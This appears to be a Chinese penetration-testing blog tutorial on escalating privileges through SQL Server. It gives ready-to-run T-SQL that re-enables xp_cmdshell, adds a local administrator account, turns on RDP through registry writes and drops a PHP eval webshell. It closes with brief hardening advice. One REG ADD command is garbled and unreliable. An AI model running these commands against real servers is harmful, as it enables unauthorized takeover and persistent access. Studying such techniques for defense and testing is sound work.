SQL Sever提權

九~月發表於2021-06-22

前言:滲透測試中提權是較為重要的環節,若以低許可權身份進行後滲透,測試出的問題相對於高許可權的質量會低很多,從一個普通使用者,通過手段讓自己變為管理員,也可利用作業系統或者應用程式中的錯誤,設計缺陷或者配置錯誤來獲取最高許可權;

提權就是通過各種辦法和漏洞,提高自己在伺服器中的許可權,以便控制全域性。

Windows:User >> System
Linux:User >> Root

提權方式

1、系統漏洞提權(Linux、windows)
2、資料庫提權
3、系統配置錯誤提權
4、許可權繼承類提權
5、第三方軟體提權
6、websever漏洞提權

系統庫

image

儲存過程

一、介紹
儲存過程是一個可程式設計的函式,它在資料庫中建立並儲存,是儲存在伺服器中的一組預編譯過的T-SQL(SQL語言版本之一,只能在SQLserver使用)語句。資料庫中的儲存過程可以看做是對程式設計中物件導向方法的模擬。它允許控制資料的訪問方式(可以將儲存過程理解為函式呼叫的過程),使用execute命令執行儲存過程。

二、分類
系統儲存過程、擴充套件儲存過程、使用者自定義的儲存過程。

  1. 系統儲存過程主要儲存在master資料庫中,以"sp_"為字首,在任何資料庫中都可以呼叫,在呼叫的時候不必在儲存過程前加上資料庫名;
  2. 擴充套件儲存過程則是對動態連結庫(DLL)函式的呼叫,主要是用於客戶端與伺服器端或客戶端之間進行通訊的,以“xp_"為字首,使用方法與系統儲存過程類似;
  3. 使用者定義的儲存過程是SQLServer的使用者編寫的儲存過程;

三、執行
儲存過程為資料庫提供了強大的功能,但在相應的許可權下,攻擊者可以利用不同的儲存過程執行不同的高階功能,如:建立資料庫使用者、列舉檔案目錄、執行任意系統命令等。正因如此,SQLserver2005、2008等之後的版本分別對儲存過程做了許可權控制,以防濫用。
以下提權方式多為利用儲存過程進行提權,想要檢視資料庫中是否有對應的儲存過程,可以用下面的語句,若返回結果為1,則說明已開啟。
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
image

xp_cmdshell擴充套件儲存過程提權

擴充套件儲存過程中xp_cmdshell是一個開放介面,可以讓SQLserver呼叫cmd命令,直接用SQL語句實現cmd操作,危害非常大。此儲存過程在SQLserver2000中預設開啟,2005本身及之後的版本預設禁止,所以想要使用該儲存過程,就需要擁有SA賬號相應許可權,使用sp_configure(顯示或更改當前伺服器的全域性配置設定)將其開啟。
SA是Microsoft SQLServer的管理員帳號,擁有最高許可權,它可以執行擴充套件儲存過程,並獲得返回值。2005的xp_cmdshell的許可權一般是system,而2008多數為nt authority\network service。

前提條件:
1、已獲取到 sqlsever sysadmin許可權使用者的賬號和密碼;
2、SQL sever服務未降權;
3、SQL sever可以外連;

執行系統命令新增管理員賬號提權

1、連線SQL sever資料庫,檢查xp_cmdshell是否開啟
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
# xtype為物件型別,xtype='x'表示xp_cmdshell的物件型別為擴充套件儲存過程

image
• 如果xp_cmdshell被刪除,可以使用以下命令重新載入。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
• 如果連xplog70.dll檔案都被被刪除,可以上傳xplog70.dll進行恢復
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

2.啟用xp_cmdshell擴充套件儲存過程
exec sp_configure 'show advanced options',1;

# 預設情況下sp_configure無法檢視和更改高階配置選項,show advanced options”用來顯示或更改當前伺服器的全域性配置設定。當“顯示高階選項” 設定為 1 時(預設值為 0),可以使用 sp_configure 列出、更改高階選項。

reconfigure;

/# reconfigure使語句執行後立即生效,若無此命令,需重啟SQLserver後才生效。

exec sp_configure 'xp_cmdshell',1;

reconfigure;
image
3.檢視許可權
通過xp_cmdshell執行系統命令whoami,檢視當前許可權。
exec xp_cmdshell "whoami";
image
4.提權
exec xp_cmdshell "net user dudu dudu/add"
exec xp_cmdshell "net localgroup administrators dudu /add"
exec xp_cmdshell "net user dudu"

5.檢視3389狀態
exec master.dbo.xp_cmdshell 'netstat -ano';

image
這塊兒可能會發現3389是沒開的;

  1. 若目標主機未開啟3389埠,可以使用以下命令開啟。
    /# 使用寫入登錄檔方式開啟
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

    exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"
    exec xp_cmdshell 'netstat -ano';

這裡有趣的是執行完,你還是看不見3389埠,真有趣;
image
管理員把3389改為3300了

7、提權恢復
• 關閉3389埠
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
• 關閉xp_cmdshell擴充套件儲存過程
exec sp_configure 'xp_cmdshell',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;

寫入檔案提權

也可以用echo命令寫入webshell到web目錄,再使用菜刀或者蟻劍等工具連線shell這種方式進行提權。此方法中寫入webshell不難,但獲取絕對路徑需要費些事兒。
其中一種辦法可以使用cmd命令進行搜尋檔案、xp_dirtree、xp_subdirs等方式獲取絕對路徑。
execute xp_dirtree 'c:' # 列出所有c:\檔案、目錄、子目錄
execute xp_dirtree 'c:',1 # 只列c:\目錄
execute xp_dirtree 'c:',1,1 # 列c:\目錄、檔案
exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:\2.php" # 寫木馬

三、防禦
在確定不需要的情況下,刪除:xp_cmdshell、xp_dirtree、xp_regread、xp_regdeletekey、xp_regdeletevalue、xp_regwrite、sp_oacreate、sp_oadestroy、sp_oagetErrorInfo、sp_oagetProperty、sp_oamethod、sp_oasetProperty、sp_oastop這些儲存過程,移走相關的動態連線庫檔案,在需要的時候複製到原來的位置即可。
應用程式和網站在與後臺的Microsoft SQLServer資料庫連線時不要用SA等高許可權的使用者連線。
給SA等高許可權的使用者設定強密碼。

sp_oacreate(無回顯)

如果xp_cmdshell擴充套件儲存過程被刪除或者無法使用,可以使用sp_oacreate和sp_oamethod呼叫系統wscript.shell來執行系統命令。sp_oacreate是一個非常危險的儲存過程,可以刪除、複製、移動檔案,還能配合sp_oamethod來寫檔案執行cmd。sp_oacreate和sp_oamethod兩個過程分別用來建立和執行指令碼語言,換言之就是xp_cmdshell能執行的sp_oacreate+sp_oamethod同樣能勝任。

沙盒提權

• 當執行命令方法無法使用時,可以使用沙盒進行提權。沙盒模式(SandBoxMode)是一種安全功能。在沙盒模式下,Access 只對控制元件和欄位屬性中的安全且不含惡意程式碼的表示式求值。如果表示式不使用可能以某種方式損壞資料的函式或屬性,則可認為它是安全的。例如,諸如Kill和Shell之類的函式可能被用來損壞計算機上的資料和檔案,因此它們被視為不安全的。當Access以沙盒模式執行時,呼叫這些函式的表示式將會產生錯誤訊息。
• OLE DB
OLE DB Driver for SQL Server 是用於訪問資料的底層 COM API,是應用程式連結到SQL Server的的驅動程式。
• 其核心其實是修改登錄檔,預設情況下,登錄檔中mdb資料庫不允許執行系統命令,但是開啟沙盒模式,就准許mdb檔案執行資料庫,通過查詢方式呼叫mdb檔案,執行引數,繞過系統本身自己的執行命令,實現mdb檔案執行命令。

相關文章